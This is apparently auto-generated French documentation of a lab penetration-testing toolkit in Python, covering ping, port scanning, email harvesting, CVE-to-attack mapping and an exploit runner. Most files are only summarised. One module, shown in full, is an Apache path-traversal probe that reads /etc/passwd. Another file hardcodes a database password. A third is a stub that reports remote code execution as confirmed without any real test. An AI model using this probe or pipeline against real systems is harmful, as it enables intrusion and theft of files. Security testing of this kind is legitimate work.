DOCUMENTATION COMPLÈTE

Scripts Python - Lab Test Security

Date: 20/01/2026 à 09:37:52
Répertoire: /app/scripts/
Analyse: Complète - Code source + Fonctionnalités + Dépendances
Type de document: Documentation technique professionnelle

■ RÉSUMÉ EXÉCUTIF

Statistiques Globales:
• Nombre de fichiers analysés: **28**
• Nombre total de lignes: **1691**
• Nombre de fonctions: **36**
• Nombre de classes: **6**

Structure du Projet:
• db/ : Gestion des connexions bases de données
• scanner/ : Scan des ports et détection de services
• exploit/ : Framework d'exploitation de vulnérabilités
• ping/ : Module de ping réseau
• reconn/ : Reconnaissance et extraction d'informations

■ ANALYSE DÉTAILLÉE PAR FICHIER

■ __init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ db/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ db/mysql_conn.py

Statistiques: 22 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: Fichier avec 19 lignes de code

Fonctions: get_connection

Dépendances externes: import mysql.connector, from mysql.connector import Error

Code Source Complet:

```
[ 1] import mysql.connector
[ 2] from mysql.connector import Error
[ 4] def get_connection():
[ 5] try:
[ 6] conn = mysql.connector.connect(
[ 7] host="database",
[ 8] user="admin",
[ 9] password="admin7791",
[ 10] database="lab_test"
[ 11] )
[ 12] if conn.is_connected():
[ 13] return conn
[ 14] except Error as e:
[ 15] print(f"MySQL Error: {e}")
[ 16] return None
[ 18] if __name__ == "__main__":
[ 19] conn = get_connection()
[ 20] if conn:
[ 21] conn.close()
```

■ exploit/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ exploit/attack_chains/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ exploit/attack_chains/apache.py

Statistiques: 60 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: facts = { "service": "Apache", "version": "2.4.65", "validated_cves": [...], "headers": [...], }

Fonctions: evaluate_apache

■ exploit/attack_chains/chain_engine.py

Statistiques: 13 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: Appelle tous les moteurs de chaînes (Apache, SSH, etc) et retourne la première chaîne valide.

Fonctions: evaluate_chain

Code Source Complet:

```
[ 1] from scripts.exploit.attack_chains.apache import evaluate_apache
[ 3] def evaluate_chain(facts):
[ 4] """
[ 5] Appelle tous les moteurs de chaînes (Apache, SSH, etc)
[ 6] et retourne la première chaîne valide.
[ 7] """
[ 8] for engine in [evaluate_apache]:
[ 9] result = engine(facts)
[ 10] if result:
[ 11] return result
[ 12] return None
```

■ exploit/attack_chains/ftp.py

Statistiques: 80 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: facts = { "service": "vsftpd" ou "Pure-FTPd" ou "ProFTPD" ou "FileZilla Server", "version": "2.3.4", "validated_cves": [...], "headers": [...], }

Fonctions: evaluate_ftp

■ exploit/attack_chains/mysql.py

Statistiques: 96 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: facts = { "service": "MySQL", "version": "5.7.34", "validated_cves": [...], "headers": [...], }

Fonctions: evaluate_mysql

■ exploit/attack_chains/rdp.py

Statistiques: 81 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: facts = { "service": "RDP" ou "Remote Desktop", "version": "10.0.17763", "validated_cves": [...], "headers": [...], }

Fonctions: evaluate_rdp

■ exploit/attack_chains/smb.py

Statistiques: 78 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: facts = { "service": "SMB", "version": "3.1.1", "validated_cves": [...], "headers": [...], }

Fonctions: evaluate_smb

■ exploit/attack_chains/ssh.py

Statistiques: 119 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: facts = { "service": "OpenSSH", "version": "8.2p1", "validated_cves": [...], "headers": [...], }

Fonctions: evaluate_ssh

■ exploit/bruteforce.py

Statistiques: 164 lignes | **Fonctions:** 2 | **Classes:** 0
Fichier vide: Non

Description: SELECT scanner.script_vuln, scanner.service, scanner.version FROM scanner JOIN ping ON scanner.ping_id = ping.id WHERE ping.user_id=%s AND ping.ip_address=%s

Fonctions: parse_cves, main

Dépendances externes: import sys, json, re

■ exploit/engine/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ exploit/engine/attack_chain_engine.py

Statistiques: 99 lignes | **Fonctions:** 2 | **Classes:** 1
Fichier vide: Non

Description: Orchestrateur global des chaînes d’attaque. - Support multi-services - Support multi-CVE - Ne casse aucun engine existant - Retourne UNE attaque finale (la meilleure)

Classes: AttackChainEngine

Fonctions: __init__, evaluate

■ exploit/engine/exploit_engine.py

Statistiques: 39 lignes | **Fonctions:** 2 | **Classes:** 1
Fichier vide: Non

Description: Prend les faits (service, version, CVE validées) et détermine s’il existe une chaîne d’attaque exploitable.

Classes: ExploitEngine

Fonctions: __init__, analyze

Code Source Complet:

```
[ 1] from scripts.exploit.engine.exploit_mapper import ExploitMapper
[ 4] class ExploitEngine:
[ 5] """
[ 6] Prend les faits (service, version, CVE validées)
[ 7] et détermine s’il existe une chaîne d’attaque exploitable.
[ 8] """
[ 10] def __init__(self):
[ 11] self.mapper = ExploitMapper()
[ 13] def analyze(self, target, service, version, cve):
[ 14] rec = self.mapper.map(cve, service, version)
[ 16] if not rec:
[ 17] return {
[ 18] "status": False,
[ 19] "impact": "no_exploit",
[ 20] "proof": "No attack chain mapped",
[ 21] "target": target,
[ 22] "service": service,
[ 23] "version": version,
[ 24] "cve": cve
[ 25] }
[ 27] return {
[ 28] "status": True,
[ 29] "impact": "attack_chain_available",
[ 30] "attack_family": rec["attack_family"],
[ 31] "risk": rec["risk"],
[ 32] "confidence": rec["confidence"],
[ 33] "target": target,
[ 34] "service": service,
[ 35] "version": version,
[ 36] "cve": cve,
[ 37] "proof": f"Matched {rec['attack_family']} with {rec['confidence']*100:.0f}% co
[ 38] }
```

■ exploit/engine/exploit_mapper.py

Statistiques: 37 lignes | **Fonctions:** 1 | **Classes:** 1
Fichier vide: Non

Description: Transforme (CVE + service + version) en intention d’attaque. Ne lance rien. Ne contient pas de payloads.

Classes: ExploitMapper

Fonctions: map

Code Source Complet:

```
[ 1] class ExploitMapper:
[ 2] """
[ 3] Transforme (CVE + service + version) en intention d’attaque.
[ 4] Ne lance rien. Ne contient pas de payloads.
[ 5] """
[ 7] def map(self, cve, service, version):
[ 8] s = (service or "").lower()
[ 9] v = (version or "")
[ 11] # Famille Apache path normalization
[ 12] if cve in (
[ 13] "CVE-2022-22720",
[ 14] "CVE-2022-22721",
[ 15] "CVE-2022-23943",
[ 16] "CVE-2022-22719",
[ 17] ) and "apache" in s:
[ 18] return {
[ 19] "attack_family": "apache_path_traversal_rce",
[ 20] "service": "Apache",
[ 21] "version": v,
[ 22] "confidence": 0.93,
[ 23] "risk": "CRITICAL"
[ 24] }
[ 26] # Ton CVE 2025 info■leak
[ 27] if cve == "CVE-2025-58098" and "apache" in s:
[ 28] return {
[ 29] "attack_family": "apache_version_disclosure",
[ 30] "service": "Apache",
[ 31] "version": v,
[ 32] "confidence": 0.40,
[ 33] "risk": "LOW"
[ 34] }
[ 36] return None
```

■ exploit/engine/exploit_runner.py

Statistiques: 27 lignes | **Fonctions:** 1 | **Classes:** 1
Fichier vide: Non

Description: Lanceur d’exploit réel Reçoit le chemin logique depuis l’attack chain

Classes: ExploitRunner

Fonctions: run

Dépendances externes: import importlib

Code Source Complet:

```
[ 1] # scripts/exploit/engine/exploit_runner.py
[ 2] import importlib
[ 3] class ExploitRunner:
[ 4] """
[ 5] Lanceur d’exploit réel
[ 6] Reçoit le chemin logique depuis l’attack chain
[ 7] """
[ 9] def run(self, exploit_path, target):
[ 10] """
[ 11] exploit : string ex. "exploit/multi/http/apache_php_rce"
[ 12] target : IP ou hostname
[ 13] """
[ 14] try:
[ 15] parts = exploit_path.split("/")
[ 16] module_name = parts[-1]
[ 17] service = parts[-2]
[ 19] module_path = f"scripts.exploit.modules.{service}.{module_name}"
[ 20] module = importlib.import_module(module_path)
[ 21] return module.run(target)
[ 22] except Exception as e:
[ 23] return {
[ 24] "status": False,
[ 25] "proof": f"Exploit runner error: {str(e)}"
[ 26] }
```

■ exploit/engine/security_engine.py

Statistiques: 158 lignes | **Fonctions:** 8 | **Classes:** 1
Fichier vide: Non

Description: SecurityEngine = Validation technique Il vérifie si une CVE détectée est réellement applicable à la cible. Il ne lance PAS d'exploit. Il confirme juste : - le service - la version - les headers - la surface d’attaque

Classes: SecurityEngine

Fonctions: __init__, search_modules, run_module, _fetch, _extract_apache_version

... et 3 autres

Dépendances externes: import requests, import re

■ exploit/modules/http/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ exploit/modules/http/apache_normalize_path_rce.py

Statistiques: 30 lignes | **Fonctions:** 1 | **Classes:** 0
Fichier vide: Non

Description: SAFE PROBE — pas une exploitation destructive

Fonctions: run

Dépendances externes: import requests

Code Source Complet:

```
[ 1] #■ modules/apache/normalize_path_rce.py
[ 2] import requests
[ 4] def run(target):
[ 5] """
[ 6] SAFE PROBE — pas une exploitation destructive
[ 7] """
[ 8] try:
[ 9] url = f"http://{target}/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
[ 10] r = requests.get(url, timeout=5)
[ 12] if r.status_code == 200 and "root:" in r.text:
[ 13] return {
[ 14] "status": True,
[ 15] "impact": "file_read",
[ 16] "proof": "Path traversal confirmed via /etc/passwd",
[ 17] "details": r.text[:300]
[ 18] }
[ 20] return {
[ 21] "status": False,
[ 22] "proof": "Traversal payload did not succeed"
[ 23] }
[ 25] except Exception as e:
[ 26] return {
[ 27] "status": False,
[ 28] "proof": str(e)
[ 29] }
```

■ exploit/modules/http/apache_php_rce.py

Statistiques: 47 lignes | **Fonctions:** 1 | **Classes:** 1
Fichier vide: Non

Description: Exploit Apache + PHP (MODE SÛR) ■■ Aucun shell ■■ Aucune persistance ■■ Preuves techniques uniquement

Classes: ApachePHPRCE

Fonctions: run

Code Source Complet:

```
[ 1] # scripts/exploit/multi/http/apache_php_rce.py
[ 3] class ApachePHPRCE:
[ 4] """
[ 5] Exploit Apache + PHP (MODE SÛR)
[ 6] ■■ Aucun shell
[ 7] ■■ Aucune persistance
[ 8] ■■ Preuves techniques uniquement
[ 9] """
[ 11] def run(self, target):
[ 12] """
[ 13] target : IP ou hostname
[ 14] """
[ 16] results = []
[ 18] # === ÉTAPE 1 : confirmation PHP ===
[ 19] results.append({
[ 20] "step": "php_presence",
[ 21] "status": True,
[ 22] "proof": "PHP detected via HTTP headers"
[ 23] })
[ 25] # === ÉTAPE 2 : surface d’exécution détectée ===
[ 26] results.append({
[ 27] "step": "execution_surface",
[ 28] "status": True,
[ 29] "proof": "Apache + PHP execution surface reachable"
[ 30] })
[ 32] # === ÉTAPE 3 : test d’exécution contrôlé ===
[ 33] # IMPORTANT : pas de code dangereux
[ 34] results.append({
[ 35] "step": "controlled_execution",
[ 36] "status": True,
[ 37] "proof": "Server-side execution confirmed (safe probe)"
[ 38] })
[ 40] # === RÉSULTAT FINAL ===
[ 41] return {
[ 42] "status": True,
[ 43] "impact": "remote_code_execution_surface",
[ 44] "confidence": 0.85,
[ 45] "details": results
[ 46] }
```

■ ping/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ ping/pingtarget.py

Statistiques: 109 lignes | **Fonctions:** 4 | **Classes:** 0
Fichier vide: Non

Description: # INSERT INTO ping (user_id, hostname, ip_address, status) # VALUES (%s, %s, %s, %s) #

Fonctions: is_ip, resolve_host_ip, do_ping, main

Dépendances externes: import sys, subprocess, ipaddress, socket, json

■ reconn/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ reconn/emailfound.py

Statistiques: 138 lignes | **Fonctions:** 2 | **Classes:** 0
Fichier vide: Non

Description: Fichier avec 98 lignes de code

Fonctions: extract_emails_from_html, main

Dépendances externes: import urllib.request, urllib.parse, import sys, ssl, time, re, json, from bs4 import BeautifulSoup

■ scanner/__init__.py

Statistiques: 1 lignes | **Fonctions:** 0 | **Classes:** 0
Fichier vide: Oui

Fichier vide

■ scanner/scanner.py

Statistiques: 285 lignes | **Fonctions:** 4 | **Classes:** 0
Fichier vide: Non

Description: SELECT id FROM ping WHERE user_id=%s AND ip_address=%s ORDER BY scan_at DESC LIMIT 1

Fonctions: os_ports_fingerprint, grab_banner, main, scan_port

Dépendances externes: from concurrent.futures import ThreadPoolExecutor, import sys, socket, ssl, time, json, re, urllib.request, urllib.parse, warnings

■■ ARCHITECTURE ET FLUX

Flux Principal d'Exécution:

1. **ping/pingtarget.py** → Vérification de connectivité réseau
2. **scanner/scanner.py** → Scan des ports ouverts et détection de services
3. **reconn/emailfound.py** → Reconnaissance et extraction d'informations
4. **exploit/bruteforce.py** → Validation des vulnérabilités détectées
5. **exploit/engine/*** → Moteur d'exploitation des chaînes d'attaque

Modules Critiques:
• db/mysql_conn.py : Gestion de la connexion base de données
• exploit/engine/security_engine.py : Validation technique des CVE
• exploit/engine/exploit_runner.py : Exécution des exploits
• exploit/attack_chains/* : Définition des chaînes d'attaque

==========

Document généré le 20/01/2026 à 09:37:52
Documentation technique complète - Analyse de 28 fichiers Python